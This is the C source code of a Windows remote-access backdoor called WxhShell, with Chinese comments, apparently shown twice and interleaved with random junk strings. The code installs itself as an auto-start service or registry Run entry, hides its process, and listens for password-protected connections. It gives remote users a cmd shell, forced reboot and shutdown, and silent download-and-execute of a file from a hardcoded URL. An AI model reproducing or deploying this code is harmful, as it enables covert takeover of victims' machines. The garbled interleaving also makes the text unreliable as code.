(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b?U!<s. NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xmz83Ll9 S[!-M\b if (!NtQueryInformationProcess) return 0; VIo %(( :5?g<@ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >U @7xeK if(!hProcess) return 0; A@^e4\ /I~iUND"G if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @A(*&PU>j 56(S[ CloseHandle(hProcess); Y=JfV (hTe53d<S? hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o$I% 1 if(hProcess==NULL) return 0; &-#!]T-P:E e=KA|"vxh HMODULE hMod; Y>z~0$ char procName[255]; aL@myq. unsigned long cbNeeded; 3P C'P2 T1ZAw'6(K
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +o)o4l%3 E.kGBA;a? CloseHandle(hProcess); MH|!tkW>: )24r^21.q if(strstr(procName,"services")) return 1; // 以服务启动 `mV&[`NZ i,>yIPBU! return 0; // 注册表启动 B5"(NJ; } ^]}UyrOn fw@n[u{~ // 主模块 [>xwwm int StartWxhshell(LPSTR lpCmdLine) 2<Lnfc<^k { 3 A2X1V" SOCKET wsl; G"&9u2 k BOOL val=TRUE; X
$LX;Lv int port=0; 4[t1"s~Wg struct sockaddr_in door; COJny/FT| f]H[uzsV if(wscfg.ws_autoins) Install(); iTi]D2jC 7c|8>zES:E port=atoi(lpCmdLine); gV]]?X& 1t{h)fwi if(port<=0) port=wscfg.ws_port; !MoJb#B3^] t-gg,ttnA WSADATA data; p
b:mw$XQ7 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zSMNk AM Ndq|Hkd if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ML?%s` setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?qwTOi door.sin_family = AF_INET; cA_77#<8 door.sin_addr.s_addr = inet_addr("127.0.0.1"); mZsftby} door.sin_port = htons(port); {Lu-!}\NP >$h *1/ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { co<-gy/mCR closesocket(wsl); 47s<xQy return 1; wzhM/Lmo\z } .-t#wXEi ehQ"<.sQ if(listen(wsl,2) == INVALID_SOCKET) { /*J}7 closesocket(wsl); is K~= return 1; fNOsB^Y } t b5k| Wxhshell(wsl); kW>Q9Nc=V WSACleanup(); z+5l:f ~[bS+]d! return 0; i{zg{$ U UD6D![e } '3B`4W, F/z$jj) // 以NT服务方式启动 L<bZVocOb_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Onoi ^MDy { NQzpgf|h DWORD status = 0; =qH9<,p`H DWORD specificError = 0xfffffff; |5|^[v L|4kv serviceStatus.dwServiceType = SERVICE_WIN32; X6s6fu; serviceStatus.dwCurrentState = SERVICE_START_PENDING; a-\\A[E serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qa
'YZE` serviceStatus.dwWin32ExitCode = 0; ?eD,\G serviceStatus.dwServiceSpecificExitCode = 0; e R"XXF0u serviceStatus.dwCheckPoint = 0; K2PV^Y serviceStatus.dwWaitHint = 0; Q7oJ4rIP <I
.p{Z hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X^mvsY if (hServiceStatusHandle==0) return; cbvK;; WJvD,VMz status = GetLastError(); jT/SZ|S if (status!=NO_ERROR) 9 ![oJ3 { "4N%I serviceStatus.dwCurrentState = SERVICE_STOPPED; /rp.H'hC serviceStatus.dwCheckPoint = 0; Qzy[ serviceStatus.dwWaitHint = 0; {H
OvJ`tM serviceStatus.dwWin32ExitCode = status; $P#Cf&R serviceStatus.dwServiceSpecificExitCode = specificError; Wlm%W>% SetServiceStatus(hServiceStatusHandle, &serviceStatus); k{>rI2; return; QA_SS'* } UBoN}iR $r%m<Uc;}O serviceStatus.dwCurrentState = SERVICE_RUNNING; '~i;g.n=}- serviceStatus.dwCheckPoint = 0; Zj;2> serviceStatus.dwWaitHint = 0; MI o5Y`T if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IgH[xwzy[ } It,m %5
Py Ql8E9~h // 处理NT服务事件,比如:启动、停止 Qp8.D4^@3 VOID WINAPI NTServiceHandler(DWORD fdwControl) bZ c&uq_ { sXm8KV switch(fdwControl) -FA]%Pl<' { M,1Yce%+} case SERVICE_CONTROL_STOP: ])paU8u serviceStatus.dwWin32ExitCode = 0; Am3^3> serviceStatus.dwCurrentState = SERVICE_STOPPED; Iw(2D(se serviceStatus.dwCheckPoint = 0; [oN}zZP] serviceStatus.dwWaitHint = 0; {?*3Ou { LQ4GQqS* SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]UyIp`nV; } Qo+_:N return; pjr,X+6o case SERVICE_CONTROL_PAUSE: %jEdgD%xV serviceStatus.dwCurrentState = SERVICE_PAUSED; }5dYmny break; :_v/a+\n case SERVICE_CONTROL_CONTINUE: ^L}fj$
serviceStatus.dwCurrentState = SERVICE_RUNNING; O)C
y4[ break; -.ITcDg case SERVICE_CONTROL_INTERROGATE: -Si'[5@ break; U1(<1eTyu }; \.p{~Hv SetServiceStatus(hServiceStatusHandle, &serviceStatus); | ZBv;BW } V#jFjObTN {'dpRq{c| // 标准应用程序主函数 |aef$f5 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P1DYjm[+D { R o :/J CpHF3o`Z6 // 获取操作系统版本 H?tonG.^( OsIsNt=GetOsVer(); < V) T_ GetModuleFileName(NULL,ExeFile,MAX_PATH); R?3^Kx S N_!o2F2 // 从命令行安装 0]
e= if(strpbrk(lpCmdLine,"iI")) Install(); 3XY;g{`=q n,sl|hv2U // 下载执行文件 UP=0>jjbn: if(wscfg.ws_downexe) { @2Xw17[f35 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W j2]1A WinExec(wscfg.ws_filenam,SW_HIDE); ^G'8!!ys } qH'T~#S KB+,}7 if(!OsIsNt) { S)Cd1`Gf // 如果时win9x,隐藏进程并且设置为注册表启动 B:qH7`s HideProc(); ws9F~LmLbr StartWxhshell(lpCmdLine); shjbb } j48cI3C else 01Bs7@"+ if(StartFromService()) ,aS6|~ac4 // 以服务方式启动 u
)+;(Vd StartServiceCtrlDispatcher(DispatchTable); >-rDBk
;K else )M(; :#le // 普通方式启动 c;DWSgIw StartWxhshell(lpCmdLine); 'J~{8w,. C;2!c return 0; O--
"\4 } ?H8w/{J Dg~r%F p]=a:kd4J [/uqH =========================================== tWL3F?wd OI;0dS yQb^]|XG v3
4!rL zOA{S~> nWpqAb " /h'V1zL# oLVy?M%{P #include <stdio.h> H%NP4pK #include <string.h> B$A`- #include <windows.h> Lf _`8Ux #include <winsock2.h> 8_0j^oh #include <winsvc.h> wN/d
J #include <urlmon.h> Aat_5p y7aBF13Kl #pragma comment (lib, "Ws2_32.lib") HHa
XK #pragma comment (lib, "urlmon.lib") 1(0LX^% TJ9JIxnS #define MAX_USER 100 // 最大客户端连接数 I3uS?c #define BUF_SOCK 200 // sock buffer dr3#?% #define KEY_BUFF 255 // 输入 buffer 5{cbcuG l6ayV #define REBOOT 0 // 重启 NT?Gl( #define SHUTDOWN 1 // 关机 7J$ M\zM-B #define DEF_PORT 5000 // 监听端口 5]yQMY\2) v^2q\A-? #define REG_LEN 16 // 注册表键长度 c6gRXp'ID #define SVC_LEN 80 // NT服务名长度 1HYrJb,d :f (UZmV$ // 从dll定义API xab1`~%K typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6J[ {?, typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (+}H
ih typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wi/Fx=w typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ; V)pXLE ]pi"M3f_ // wxhshell配置信息 n'a=@/ struct WSCFG { JK:i- int ws_port; // 监听端口 Lqy]bnY char ws_passstr[REG_LEN]; // 口令 ?EF[OyE int ws_autoins; // 安装标记, 1=yes 0=no M]&F1< char ws_regname[REG_LEN]; // 注册表键名 Xy[O char ws_svcname[REG_LEN]; // 服务名 ) jBPt& char ws_svcdisp[SVC_LEN]; // 服务显示名 K?0f)@\nx char ws_svcdesc[SVC_LEN]; // 服务描述信息 "<6X=|C char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {xb8H int ws_downexe; // 下载执行标记, 1=yes 0=no dLl/V3C6t char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b
'p0T1K( char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \k\ {S2SU b*w izd }; ${\iHg[vZ x]o~ %h$ // default Wxhshell configuration yT<6b)&*& struct WSCFG wscfg={DEF_PORT, TZ8:3ti "xuhuanlingzhe", Y?G9d6]Lk6 1, _E0XUT!rA "Wxhshell", ?,8|K B "Wxhshell", /c3A> "WxhShell Service", ;]AJ_h(<` "Wrsky Windows CmdShell Service", hh\}WaY "Please Input Your Password: ", 2LS03 27 1, @*W)r~ "~ "http://www.wrsky.com/wxhshell.exe", *
S4IMfp "Wxhshell.exe" 1fwjW0t }; ]6)^+(zU "w3#2q& // 消息定义模块 6qfL-( G char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3e&H) char *msg_ws_prompt="\n\r? for help\n\r#>"; NzB"u+jB char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,h1
z8.wD| char *msg_ws_ext="\n\rExit."; feg char *msg_ws_end="\n\rQuit."; !DgN@P.o char *msg_ws_boot="\n\rReboot..."; o%dKi] char *msg_ws_poff="\n\rShutdown..."; D"kss5>w char *msg_ws_down="\n\rSave to "; v eP)ElX akg$vHhK4 char *msg_ws_err="\n\rErr!"; 4cC char *msg_ws_ok="\n\rOK!"; KLVkPix;$ R5PXX&Q char ExeFile[MAX_PATH]; t[$C r; int nUser = 0; $80TRB# HANDLE handles[MAX_USER]; 8 w-2Q int OsIsNt; c:QZ(8d]L i*-[-hn-V SERVICE_STATUS serviceStatus; ~,j52obR6Z SERVICE_STATUS_HANDLE hServiceStatusHandle; T](N
^P }6zo1" // 函数声明 G Y? ?q8 int Install(void); N<&"_jzm int Uninstall(void); g}(yq:D int DownloadFile(char *sURL, SOCKET wsh); V`*N2ztSL int Boot(int flag); h"h3SD~ void HideProc(void); B",5"'id int GetOsVer(void); 9t)A_}O int Wxhshell(SOCKET wsl); 88%7 void TalkWithClient(void *cs); |C;8GSw>|F int CmdShell(SOCKET sock); uL!QeY>k\ int StartFromService(void); &sh5|5EC int StartWxhshell(LPSTR lpCmdLine); M*XAyo4fI -J7BEx VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?#N:
a VOID WINAPI NTServiceHandler( DWORD fdwControl ); >uHU3<2& KtTlc#*KU // 数据结构和表定义 k:1p:&*m SERVICE_TABLE_ENTRY DispatchTable[] = ybsQ[9_36 { C(N' +VV_ {wscfg.ws_svcname, NTServiceMain}, QH~;B[-> {NULL, NULL}
AT@m_d }; c3S}(8g5. Tp
vq5Cz // 自我安装 K&T[F! int Install(void) [4p~iGC { b)+nNqY| char svExeFile[MAX_PATH]; pxf(C<y6_ HKEY key; Bi}uL)~rD strcpy(svExeFile,ExeFile); N{/):O 0j{Rsy // 如果是win9x系统,修改注册表设为自启动
=K#5I<x if(!OsIsNt) { Ka\ha if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dJvT2s.t[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m
|Isi RegCloseKey(key); An0DqjR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +Cf"rN RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j@g`Pm%u` RegCloseKey(key); ^,-2";2Xh return 0; gX29c } RCZ"BxleU } r{+P2MPW } hJ~Na\?w else { &m{SWV+ (!cG*FrN // 如果是NT以上系统,安装为系统服务 R1sWhB99 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); > nHaMj if (schSCManager!=0) sd5%S zx { ??Lda=' SC_HANDLE schService = CreateService E; `@S ( exW|c~|m{A schSCManager, =()Vrk|uK wscfg.ws_svcname, D*T*of G wscfg.ws_svcdisp, Ms4~P6;% SERVICE_ALL_ACCESS, gc<w nm| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B3AWJ1o SERVICE_AUTO_START, /RG>n SERVICE_ERROR_NORMAL, k7L-J svExeFile, y$Nqw9 NULL, +8xC%eE NULL, !=uaB. NULL, G 6r2
" NULL, Jy^.L$bt NULL d76nyQKK ); a:v5(@8 if (schService!=0) LE@<)}Au^ { QUQw/ CloseServiceHandle(schService); zf4\V F CloseServiceHandle(schSCManager); /Z~}dWI strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b((>?=hh strcat(svExeFile,wscfg.ws_svcname); Jn :h;|9w if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ax)>rP,V RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q9G\T:^ury RegCloseKey(key); ?)-#\z=6G return 0; |Eyn0\OA } #fGI#]SG? } DXI{ jalL CloseServiceHandle(schSCManager); `erKHZ]S } C@o8C%o } Y5fz_ [(" i)!2DXn return 1; z=FOymvC } [_BQ%7DU I4"(4u@P // 自我卸载 `1`Qu! int Uninstall(void) V|3^H^\5P { ,=IGqw HKEY key; 7g7[a/Bts >%\&tS' if(!OsIsNt) {
M*gbA5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ln1!%B; RegDeleteValue(key,wscfg.ws_regname); 6*&$ha}X RegCloseKey(key); F
tS"vJ\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 73p7]Uo RegDeleteValue(key,wscfg.ws_regname); -F$v`|(O+ RegCloseKey(key); M\_IQj return 0; ieap } VbI$#;:[7 } >vPv4e7&3 } Ee3-oHa else { ,{C
hHnJ%# :<P3fW SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2MU$OI0| if (schSCManager!=0) \1ncr4 { `B$rr4_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $Ph#pM( if (schService!=0) %,UTFuM` { 0-Ga2Go9 if(DeleteService(schService)!=0) { ]r\FC\n6e CloseServiceHandle(schService); kNd(KQ<.17 CloseServiceHandle(schSCManager); ^wIg|Gc return 0; i5 0c N<o } oTN:Q"oK7? CloseServiceHandle(schService); z&c|2L-u6 } |)65y
CloseServiceHandle(schSCManager); QOR92}yC } /O}lSXo6E } : i{tqY% iLt2L;v>h return 1; j Gp&P } 3GL,=q 3y%,f|ju // 从指定url下载文件 LC,6hpmh int DownloadFile(char *sURL, SOCKET wsh) Al1}Ir { tbXl5x0 HRESULT hr; 2!_DkE char seps[]= "/"; 8F
K%7\V char *token; %M,^)lRP char *file; SE$~Wbj? char myURL[MAX_PATH]; /.WIED}> char myFILE[MAX_PATH]; g#q7~#9 UOpSH{N strcpy(myURL,sURL);
^o87qr0g] token=strtok(myURL,seps); zRMz8IC. while(token!=NULL) r"9hpZH { I {%Y0S file=token; 4YSVy2x token=strtok(NULL,seps); Lz&FywF-l } YU`}T<;bg !l-Q.=yw GetCurrentDirectory(MAX_PATH,myFILE); YB1Jv[ strcat(myFILE, "\\"); ,MjlA{0 strcat(myFILE, file); c'INmc
I| send(wsh,myFILE,strlen(myFILE),0); m}(M{^\| send(wsh,"...",3,0); DkEf;P hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0|DyYu if(hr==S_OK) qjsEyro$- return 0; " ?Ux\)* else ti^=aB
return 1; _;,"!'R`f Iw4[D#o } T#\=v(_NR H]}mg='kI // 系统电源模块 mX%T"_^ int Boot(int flag) '=`af>Nc { -(},%!-_ HANDLE hToken; }9V0Cu1 TOKEN_PRIVILEGES tkp; Nwo*tb: +|--}iE5n if(OsIsNt) { X%$1%)C9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Zb7%$1)L~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p}Um+I=1 tkp.PrivilegeCount = 1; B7wzF" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Qv<p$Up6 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `MHixQ;j if(flag==REBOOT) { Q@uWh: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ob/i_ return 0; }9 ]7V < } :PK2!
0nK else { "A*;V if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '0=mV"#H{ return 0; n?>|2> } {oS/Xa } qu\U^F else { h$#PboLd if(flag==REBOOT) { 1En:QQ4/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }5;/!P_A return 0; &;bey4_J } ,9M2'6= else { h1)ny1; if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) - zUBK return 0; p"6ydXn% } g~2=he\C } ma xpR>7`j J/QqwoR
return 1; 2tg 07 } QnJLTBv d)3jkHYEjj // win9x进程隐藏模块 !ALq?u void HideProc(void) O6,2M[a { ,vo]WIQ\: bk1.H@8 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yFn~rv|&G if ( hKernel != NULL ) 1\%@oD_zG { +s6v!({Z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K^h9\<w ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [&IcIZ FreeLibrary(hKernel); W7c
B } VN0KK
1I ^ZIs >.' return; P'o]#Az } ^ p7z3ng A9KPU: // 获取操作系统版本 Qp7F3,/# int GetOsVer(void)
YCVT0d { <(_Tanx9Q OSVERSIONINFO winfo; {6O}E9 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l$kO%E' GetVersionEx(&winfo); |N}* if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;Ea8> return 1; #]Lodo9rS\ else |&@`~OBa return 0; r/@ Wn } U%0|LQk5 Xy. /1`X // 客户端句柄模块 i&p6UU int Wxhshell(SOCKET wsl) z7z9lDS { ,@fx[5{ SOCKET wsh; .2U3_1dX struct sockaddr_in client; u9(42jj[$U DWORD myID; $=X>5B 0>46ZzxUZ while(nUser<MAX_USER) "Ec9.#U/ { ri-D#F)} int nSize=sizeof(client); I5Ty@J# wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pN_%>v"o if(wsh==INVALID_SOCKET) return 1; Pe-rwM 8_ascvs5 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j/q&qrlL if(handles[nUser]==0) ~W={"n?= closesocket(wsh); `DE_<l else +]( #!}oH nUser++; W9oWj7&h } Sb?Ua*(L: WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <CJy3<$u "',;pGg|K return 0; 7KGb2V< t } ]jPP]Z:y eh>FYx(
S // 关闭 socket 0~+*$W void CloseIt(SOCKET wsh) B'mUDW8\D { :>0,MO.^~K closesocket(wsh); MBLDxsZ- nUser--; 6tjV^sjs ExitThread(0); }#;.b'` }
/fLm
)vN Um4DVg5 // 客户端请求句柄 wv\V&U$ void TalkWithClient(void *cs) $iMLT8U { Qg]A^{.1 !G6h~`[ SOCKET wsh=(SOCKET)cs; l@1=./L? char pwd[SVC_LEN]; @y'ZM char cmd[KEY_BUFF]; @v:Eh char chr[1]; X&| R\v=} int i,j; c10$5V&@ 717G
CL@ while (nUser < MAX_USER) { _yX.Apv] fP6. if(wscfg.ws_passstr) { QC!SgV if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X h}D_c //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fYzP4 //ZeroMemory(pwd,KEY_BUFF); z;?j+ZsdH i=0; 00s)=A_ while(i<SVC_LEN) { XPZ8*8JL k.jBu // 设置超时 49<t2^1q fd_set FdRead; )y Zr] struct timeval TimeOut; 6|{&7=1t FD_ZERO(&FdRead); yGSZ;BDW:K FD_SET(wsh,&FdRead); VXlAK( TimeOut.tv_sec=8; lzz;L
z TimeOut.tv_usec=0; )v11j.D int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ms!|a_H7r if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ywkRH m2YsE
j7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Mu-kvgO`L pwd=chr[0]; Owgy<@C if(chr[0]==0xd || chr[0]==0xa) { w
El- pwd=0; CEBG9[| break; `m8WLj } Pa+_{9 i++; `u
R`O9)e } 1c429&- WRA L/ // 如果是非法用户,关闭 socket _%Ua8bR$ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OB\ZT @l } lN8l71N^ j_~mP>el) send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i7v=o# send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^c>Bh[ ;"ESN)*|i while(1) { ]NI
CQ9 <5
OUk ZeroMemory(cmd,KEY_BUFF); : vx<m_ D`mr>-Y // 自动支持客户端 telnet标准 -meY[!"X j=0; lKQevoy' while(j<KEY_BUFF) { Iu~<Y(8^q# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5o>*a>27,A cmd[j]=chr[0]; vF pKkS343 if(chr[0]==0xa || chr[0]==0xd) { 7jQVm{{. cmd[j]=0; wHQ$xO;vD' break; =au!rda } 3&5b!Y j++; I{WP:]"Yf } bd-iog( O"df5x9@ // 下载文件 |5:2?S2R if(strstr(cmd,"http://")) { o1?-+P/ send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;ND[+i2MN if(DownloadFile(cmd,wsh)) ^OX}y~' send(wsh,msg_ws_err,strlen(msg_ws_err),0); p >ua{}!L else -*~
@? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vfvp# } *)`PY4zF else { @Tq-3Um K/*"U*9Kv switch(cmd[0]) { GvgTbCxnN r}^1dO // 帮助 afna7TlS case '?': { N{&Lo}6F send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x4g/ok break; Ovj^
7r:<s } Eu"8IM!%- // 安装 S
w%6- case 'i': { Jc}6kFgO6 if(Install()) @1gURx&2_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); \>}#[?y else U{bv|vF send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IbL'Z break;
N-&ZaK } +F8K%.Q_ // 卸载 kaiK1/W0; case 'r': { njZ vi}m~ if(Uninstall()) TU2oQ1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Go,HiB else W2fcY;HZ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =3A4.nW break; XksI .]tfj } v_pe=LC{-e // 显示 wxhshell 所在路径 n}e%c B case 'p': { Im!b-1 char svExeFile[MAX_PATH]; _G @Zn[v strcpy(svExeFile,"\n\r"); 8 l)K3;q_ strcat(svExeFile,ExeFile); JhwHsx/ send(wsh,svExeFile,strlen(svExeFile),0); GYiL}itD=3 break; 3!/J!X3L } $d])>4eQ // 重启 1%R${Qhr case 'b': { D.%%D%AdB send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &!O?h/&X3 if(Boot(REBOOT)) 0*tnJB send(wsh,msg_ws_err,strlen(msg_ws_err),0); MN5}}@ else { k\;D;e{ closesocket(wsh); wbcip8<t ExitThread(0); lo'#dpt< } Mp!1xx break; aXQAm$/
> } '0)`. // 关机 &~/g[\Y case 'd': { 2RF3pIFrm send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [g<gu~ if(Boot(SHUTDOWN)) ]v),[]Xs send(wsh,msg_ws_err,strlen(msg_ws_err),0); +/eJ#Xw3u8 else { Y3FFi M[s~ closesocket(wsh); T}1" ExitThread(0); \v\ONp" } );TB(PQsBT break; dY0W=,X$7T } ;-Os~81o? // 获取shell );}M"W8 case 's': { y=f.; CmdShell(wsh); ?E
V^H-rr closesocket(wsh); @lWNSf ExitThread(0); x|Pz24yP9 break; IemhHf ^l } 4q7H // 退出 9+@z:j case 'x': { 0 V]MAuD($ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NB'G{),)Z CloseIt(wsh); DbB<8$ break; C9MK3vtD. } Qjnh;uBO // 离开 d}Guj/cx, case 'q': { -AD`(b7q send(wsh,msg_ws_end,strlen(msg_ws_end),0); '%ZKvZ- closesocket(wsh); pO5j-d* WSACleanup(); S^|`*%pq exit(1); )B&`<1Oie break; +zk5du^gZ } wme#8/eUk } 2dKt}o> } ^z{Xd|{" l59
N0G // 提示信息 w6h83m
3 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qN' 3{jiPL } 7G;1n0m-T } <oT1&C{ .bP8Z= return; bx{njo1Mr } _K{-1ZYsi 4:Ju|g]O // shell模块句柄 :k`Qj(7S int CmdShell(SOCKET sock) \ >wQyz { 2ib,33 Z STARTUPINFO si; &s}sA+w ZeroMemory(&si,sizeof(si)); WHOy\j},V si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %g5#q64 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J!6w9,T_ PROCESS_INFORMATION ProcessInfo; >b9J!'G,( char cmdline[]="cmd"; lc~c=17 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);
E^5 return 0; mS;WNlm\ } %O#zE-H" L>g6
9D! // 自身启动模式 X)Tyxppf' int StartFromService(void) +e*C`uP! { J?dz>3Rhx9 typedef struct 3)o>sp)Ji$ { [.xc`CF DWORD ExitStatus; SB('Nqih DWORD PebBaseAddress; }|) N5bGQe DWORD AffinityMask; 4ME$Z>eN DWORD BasePriority; fH_l2b[-3@ ULONG UniqueProcessId; ;r6YIS4@ ULONG InheritedFromUniqueProcessId; ;~$Q;m1 } PROCESS_BASIC_INFORMATION; "x$L2>9 M[O22wFs PROCNTQSIP NtQueryInformationProcess; fJ
_MuAv R<Mp$K^b static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {:_*P
TVk static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BQ[R)o `W_&^>yl HANDLE hProcess; 9ei'oZ PROCESS_BASIC_INFORMATION pbi; \h s7>5O^K -}sMOy` HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XY9%aT* if(NULL == hInst ) return 0; $0P16ZlPC D$H&^,?N g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %x@bP6d[ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >Je$WE3 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )G, S7A kCz2uG)l if (!NtQueryInformationProcess) return 0; ;=^J_2ls 83_mR*tGNp hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \8\TTkVSq if(!hProcess) return 0; VyYrL]OrA $6 Hf[(/ e if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t.RDS2N| c2:, CloseHandle(hProcess); e&8Meiv+d NRP)'E hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lFcHE c if(hProcess==NULL) return 0; dxZn| Y tP2.D:( R HMODULE hMod; *&]8rm{ char procName[255]; IDqUiN unsigned long cbNeeded; vR5X 1|>vk+;1h if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {c]dz7'? \Wppl,"6c CloseHandle(hProcess); <jYyA]Zy5 Pj g# if(strstr(procName,"services")) return 1; // 以服务启动 ('j'>"1H z(O*DwY# return 0; // 注册表启动 x30|0EHYl[ } 